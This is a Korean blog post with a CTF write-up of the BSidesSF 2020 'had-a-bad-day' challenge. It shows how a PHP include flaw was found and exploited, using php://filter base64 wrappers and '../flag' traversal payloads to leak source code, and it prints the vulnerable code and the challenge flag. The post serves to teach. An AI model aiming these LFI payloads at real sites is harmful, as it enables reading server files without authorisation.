ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [BSidesSF 2020 CTF] had-a-bad-day
    CTF Writeup 2020. 2. 25. 19:29

    [had-a-bad-day] https://had-a-bad-day-5b3328ad.challenges.bsidessf.net

     

    Had a bad day?

     

    had-a-bad-day-5b3328ad.challenges.bsidessf.net

     

    woofers, meowsers 버튼을 클릭하면 category 파라미터로 값이 전송되고,

    1~10까지의 랜덤한 이름을 가진 사진을 보여준다.

     

    flag.php 파일을 읽어야 하는 문제이기 때문에 flag를 입력해 보았다.

     

    category 값에 "woofers" 또는 "meowers" 문자열이 존재해야 한다.

     

    category의 값에 '을 전송하였더니 아래와 같은 에러가 발생하였다.

     

    include 함수에서 발생한 에러이며, (LFI 문제로 추측할 수 있다.)

    category의 값에는 woofers'만 전송되었는데 .php가 추가된 것을 확인할 수 있다.

     

    flag.php%00woofers를 입력해 보았다.

     

    에러가 발생해서 알아보니, php 5.3버전 이후로 패치된 것을 확인할 수 있었다.

    [Reference] https://bugs.php.net/bug.php?id=39863

     

    woofers만 존재하면 되는 것 같아 내 서버에 woofers.php를 생성하여 RFI를 시도해 보았으나

    다음과 같은 에러가 발생하였다.

     

    allow_url_include가 꺼져있어 RFI는 불가능하다.

     

    LFI 취약점을 트리거하기 위해서는 다음과 같은 방법을 이용할 수 있다.

    [LFI 취약점]
    - Nullbyte Injection
    - environ
    - PHP Wrappers
    - Log poisoning

    [Reference]
    http://bitly.kr/BU3E3hhL
    https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a

     

    해당 문제에 맞는 방법을 생각해 보았다.

    .php가 자동으로 추가된다.

    Nullbyte를 넣는 것은 불가능하다.

    따라서 .php 파일 외에는 접근할 수 없다.

     

    .log 등과 같이 접근해야 하는 파일의 확장자가 정해진 방법을 제외하고,

    PHP Wrappers를 이용해보니 정상적으로 동작하는 것을 확인할 수 있었다.

    [Reference] https://blog.ch4n3.me/253

    file:///var/www/html/woofers

     

    php://filter를 이용하여 페이지의 소스 코드를 얻었다.

    php://filter/read=convert.base64-encode/resource=index

     

    Base64 Decoding 하여 얻은 코드는 다음과 같다.

     

    [index.php]

    <html>
      <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="description" content="Images that spark joy">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
        <title>Had a bad day?</title>
        <link rel="stylesheet" href="css/material.min.css">
        <link rel="stylesheet" href="css/style.css">
      </head>
      <body>
        <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
          <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
            <div class="mdl-layout__header-row">
              <span class="mdl-layout-title">Had a bad day?</span>
              <div class="mdl-layout-spacer"></div>
            <div>
          </header>
          <div class="page-ribbon"></div>
          <main class="page-main mdl-layout__content">
            <div class="page-container mdl-grid">
              <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
              <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
                <div class="page-crumbs mdl-color-text--grey-500">
                </div>
                <h3>Cheer up!</h3>
                  <p>
                    Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
                  </p>
                  <div class="page-include">
                  <?php
    				$file = $_GET['category'];
    
    				if(isset($file))
    				{
    					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
    						include ($file . '.php');
    					}
    					else{
    						echo "Sorry, we currently only support woofers and meowers.";
    					}
    				}
    				?>
    			</div>
              <form action="index.php" method="get" id="choice">
                  <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
                  <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
              </form>
    
              </div>
            </div>
          </main>
        </div>
        <script src="js/material.min.js"></script>
      </body>
    </html>

     

    코드를 보면 strpos 함수를 통해 문자열이 있는지 확인한다.

    strpos 함수가 true 값을 반환하도록 아래 구문을 입력하여 flag.php 코드를 얻었다.

    woofer/../flag
    meowers/../flag
    ./index/../flag

     

    해당 코드를 Base64 Decoding 하면 flag를 얻을 수 있다.

     

    [flag.php]

    <!-- Can you read this flag? -->
    <?php
     // CTF{happiness_needs_no_filters}
    ?>

    'CTF Writeup' 카테고리의 다른 글

    [BSidesSF 2020 CTF] recipes  (0) 2020.02.26
    [Pragyan CTF] Kimi no Na Wa  (0) 2020.02.24
    [Pragyan CTF] Pandora  (0) 2020.02.24

    댓글

@Jo Grini's Blog